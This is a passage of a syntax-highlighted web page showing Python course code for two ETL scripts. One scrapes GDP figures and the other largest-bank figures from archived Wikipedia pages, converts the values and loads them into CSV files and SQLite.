</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">country</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;a&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">gdp</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">country</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">or</span> <span class="s2">&#34;—&#34;</span> <span class="ow">in</span> <span class="n">gdp</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">row_dict</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;Country&#34;</span><span class="p">:</span> <span class="n">country</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s2">&#34;GDP_USD_millions&#34;</span><span class="p">:</span> <span class="n">gdp</span><span class="o">.</span><span class="n">text</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">row_df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">DataFrame</span><span class="p">(</span><span class="n">row_dict</span><span class="p">,</span> <span class="n">index</span><span class="o">=</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">gdp_df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">concat</span><span class="p">([</span><span class="n">gdp_df</span><span class="p">,</span> <span class="n">row_df</span><span class="p">],</span> <span class="n">ignore_index</span><span class="o">=</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">gdp_df</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">convert_currency_to_numeric</span><span class="p">(</span><span class="n">currency</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function converts the currency text into numeric form.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">float</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">currency</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;,&#34;</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">convert_millions_to_billions</span><span class="p">(</span><span class="n">millions</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function convert millions value to billions and round
</span></span></span><span class="line"><span class="cl"><span class="s2">    to 2 decimal places.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">np</span><span class="o">.</span><span class="n">round</span><span class="p">(</span><span class="n">millions</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">transform</span><span class="p">(</span><span class="n">df</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function converts the GDP information from Currency
</span></span></span><span class="line"><span class="cl"><span class="s2">    format to float value, transforms the information of GDP from
</span></span></span><span class="line"><span class="cl"><span class="s2">    USD (Millions) to USD (Billions) rounding to 2 decimal places.
</span></span></span><span class="line"><span class="cl"><span class="s2">    The function returns the transformed dataframe.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">gdp_list</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">&#34;GDP_USD_millions&#34;</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">gdp_list</span> <span class="o">=</span> <span class="p">[</span><span class="n">convert_millions_to_billions</span><span class="p">(</span><span class="n">convert_currency_to_numeric</span><span class="p">(</span><span class="n">gdp_value</span><span class="p">))</span> <span class="k">for</span> <span class="n">gdp_value</span> <span class="ow">in</span> <span class="n">gdp_list</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="p">[</span><span class="s2">&#34;GDP_USD_millions&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="n">gdp_list</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span> <span class="o">=</span> <span class="n">df</span><span class="o">.</span><span class="n">rename</span><span class="p">(</span><span class="n">columns</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;GDP_USD_millions&#34;</span><span class="p">:</span> <span class="s2">&#34;GDP_USD_billions&#34;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">df</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">load_to_csv</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">csv_path</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function saves the final dataframe as a `CSV` file
</span></span></span><span class="line"><span class="cl"><span class="s2">    in the provided path. Function returns nothing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="o">.</span><span class="n">to_csv</span><span class="p">(</span><span class="n">csv_path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">load_to_db</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">,</span> <span class="n">table_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function saves the final dataframe as a database table
</span></span></span><span class="line"><span class="cl"><span class="s2">    with the provided name. Function returns nothing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="o">.</span><span class="n">to_sql</span><span class="p">(</span><span class="n">table_name</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">,</span> <span class="n">if_exists</span><span class="o">=</span><span class="s2">&#34;replace&#34;</span><span class="p">,</span> <span class="n">index</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">run_query</span><span class="p">(</span><span class="n">statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function runs the stated query on the database table and
</span></span></span><span class="line"><span class="cl"><span class="s2">    prints the output on the terminal. Function returns nothing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Query Statement:&#34;</span><span class="p">,</span> <span class="n">statement</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">output</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_sql</span><span class="p">(</span><span class="n">statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Query Output:&#34;</span><span class="p">,</span> <span class="n">output</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">log_progress</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function logs the mentioned message at a given
</span></span></span><span class="line"><span class="cl"><span class="s2">    stage of the code execution to a log file.
</span></span></span><span class="line"><span class="cl"><span class="s2">    Function returns nothing
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">timestamp_format</span> <span class="o">=</span> <span class="s2">&#34;%Y-%h-</span><span class="si">%d</span><span class="s2">-%H:%M:%S&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">timestamp</span> <span class="o">=</span> <span class="n">now</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="n">timestamp_format</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;./code_log.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">timestamp</span> <span class="o">+</span> <span class="s2">&#34; : &#34;</span> <span class="o">+</span> <span class="n">message</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Preliminaries complete. Initiating ETL process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">extracted_data</span> <span class="o">=</span> <span class="n">extract</span><span class="p">(</span><span class="n">WIKIPEDIA_GDP_URL</span><span class="p">,</span> <span class="n">TABLE_ATTRIBUTES</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data Extraction complete. Initiating transformation process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">transform_data</span> <span class="o">=</span> <span class="n">transform</span><span class="p">(</span><span class="n">extracted_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data Transformation complete. Initiating loading process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">load_to_csv</span><span class="p">(</span><span class="n">transform_data</span><span class="p">,</span> <span class="s2">&#34;gdp.csv&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data load to CSV file complete. Initiating SQL connection.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">sql_connection</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">DB_NAME</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;SQL Connection Initiated. Initiating loading process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">load_to_db</span><span class="p">(</span><span class="n">transform_data</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">,</span> <span class="n">TABLE_NAME</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data load to database complete. Running the query&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">query_statement</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;SELECT * from </span><span class="si">{</span><span class="n">TABLE_NAME</span><span class="si">}</span><span class="s2"> WHERE GDP_USD_billions &gt;= 100&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">run_query</span><span class="p">(</span><span class="n">query_statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Run query complete. Closing SQL connection.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">sql_connection</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s1">&#39;Process Complete. Connection Closed.&#39;</span><span class="p">)</span>
</span></span></code></pre></div>
  


<h4 id="world-top-banks---etl-processhttpsgithubcomcham11ngmisctreemainpythoncoursedata-engineeringbank"><a href="https://github.com/cham11ng/misc/tree/main/python/course/data-engineering/bank">World top Banks - ETL Process</a></h4>


  
    
    <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;Module: Code for ETL operations on Bank data&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sqlite3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;clear&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">WIKIPEDIA_BANK_URL</span> <span class="o">=</span> <span class="s2">&#34;https://web.archive.org/web/20230908091635/https://en.wikipedia.org/wiki/List_of_largest_banks&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">TABLE_ATTRIBUTES</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;Bank_Name&#34;</span><span class="p">,</span> <span class="s2">&#34;USD_Billion&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">DB_NAME</span> <span class="o">=</span> <span class="s2">&#34;banks.db&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">TABLE_NAME</span> <span class="o">=</span> <span class="s2">&#34;largest_banks&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">CSV_PATH</span> <span class="o">=</span> <span class="s2">&#34;banks.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">extract</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">table_attributes</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function extracts the required
</span></span></span><span class="line"><span class="cl"><span class="s2">    information from the website and saves it to a dataframe. The
</span></span></span><span class="line"><span class="cl"><span class="s2">    function returns the dataframe for further processing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">page_output</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">html_soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">page_output</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s2">&#34;html.parser&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bank_df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">DataFrame</span><span class="p">(</span><span class="n">columns</span><span class="o">=</span><span class="n">table_attributes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">tables</span> <span class="o">=</span> <span class="n">html_soup</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;tbody&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rows</span> <span class="o">=</span> <span class="n">tables</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;tr&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">rows</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="n">row</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;td&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">bank</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;a&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">billion</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">row_dict</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;Bank_Name&#34;</span><span class="p">:</span> <span class="n">bank</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s2">&#34;USD_Billion&#34;</span><span class="p">:</span> <span class="n">billion</span><span class="o">.</span><span class="n">text</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">row_df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">DataFrame</span><span class="p">(</span><span class="n">row_dict</span><span class="p">,</span> <span class="n">index</span><span class="o">=</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">bank_df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">concat</span><span class="p">([</span><span class="n">bank_df</span><span class="p">,</span> <span class="n">row_df</span><span class="p">],</span> <span class="n">ignore_index</span><span class="o">=</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">bank_df</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">convert_currency_to_numeric</span><span class="p">(</span><span class="n">currency</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function converts the currency text into numeric form.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">float</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">currency</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;,&#34;</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">transform</span><span class="p">(</span><span class="n">df</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function accesses the CSV file for exchange rate
</span></span></span><span class="line"><span class="cl"><span class="s2">    information, and adds three columns to the data frame, each
</span></span></span><span class="line"><span class="cl"><span class="s2">    containing the transformed version of Market Cap column to
</span></span></span><span class="line"><span class="cl"><span class="s2">    respective currencies
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">currency_df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">&#34;exchange_rate.csv&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">exchange_rate</span> <span class="o">=</span> <span class="n">currency_df</span><span class="o">.</span><span class="n">set_index</span><span class="p">(</span><span class="s2">&#34;Currency&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">to_dict</span><span class="p">()[</span><span class="s2">&#34;Value&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="p">[</span><span class="s2">&#34;USD_Billion&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">convert_currency_to_numeric</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="s2">&#34;USD_Billion&#34;</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="p">[</span><span class="s2">&#34;GBP_Billion&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">np</span><span class="o">.</span><span class="n">round</span><span class="p">(</span><span class="n">x</span> <span class="o">*</span> <span class="n">exchange_rate</span><span class="p">[</span><span class="s2">&#34;GBP&#34;</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="s2">&#34;USD_Billion&#34;</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="p">[</span><span class="s2">&#34;EUR_Billion&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">np</span><span class="o">.</span><span class="n">round</span><span class="p">(</span><span class="n">x</span> <span class="o">*</span> <span class="n">exchange_rate</span><span class="p">[</span><span class="s2">&#34;EUR&#34;</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="s2">&#34;USD_Billion&#34;</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="p">[</span><span class="s2">&#34;NPR_Billion&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">np</span><span class="o">.</span><span class="n">round</span><span class="p">(</span><span class="n">x</span> <span class="o">*</span> <span class="n">exchange_rate</span><span class="p">[</span><span class="s2">&#34;NPR&#34;</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">df</span><span class="p">[</span><span class="s2">&#34;USD_Billion&#34;</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">df</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">load_to_csv</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">csv_path</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function saves the final data frame as a `CSV` file
</span></span></span><span class="line"><span class="cl"><span class="s2">    in the provided path. Function returns nothing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="o">.</span><span class="n">to_csv</span><span class="p">(</span><span class="n">csv_path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">load_to_db</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">,</span> <span class="n">table_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function saves the final data frame as a database table
</span></span></span><span class="line"><span class="cl"><span class="s2">    with the provided name. Function returns nothing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">df</span><span class="o">.</span><span class="n">to_sql</span><span class="p">(</span><span class="n">table_name</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">,</span> <span class="n">if_exists</span><span class="o">=</span><span class="s2">&#34;replace&#34;</span><span class="p">,</span> <span class="n">index</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">run_query</span><span class="p">(</span><span class="n">statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function runs the stated query on the database table and
</span></span></span><span class="line"><span class="cl"><span class="s2">    prints the output on the terminal. Function returns nothing.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Query Statement:&#34;</span><span class="p">,</span> <span class="n">statement</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">output</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_sql</span><span class="p">(</span><span class="n">statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Query Output:&#34;</span><span class="p">,</span> <span class="n">output</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">log_progress</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    This function logs the mentioned message at a given
</span></span></span><span class="line"><span class="cl"><span class="s2">    stage of the code execution to a log file.
</span></span></span><span class="line"><span class="cl"><span class="s2">    Function returns nothing
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">timestamp_format</span> <span class="o">=</span> <span class="s2">&#34;%Y-%h-</span><span class="si">%d</span><span class="s2">-%H:%M:%S&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">timestamp</span> <span class="o">=</span> <span class="n">now</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="n">timestamp_format</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;./code_log.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
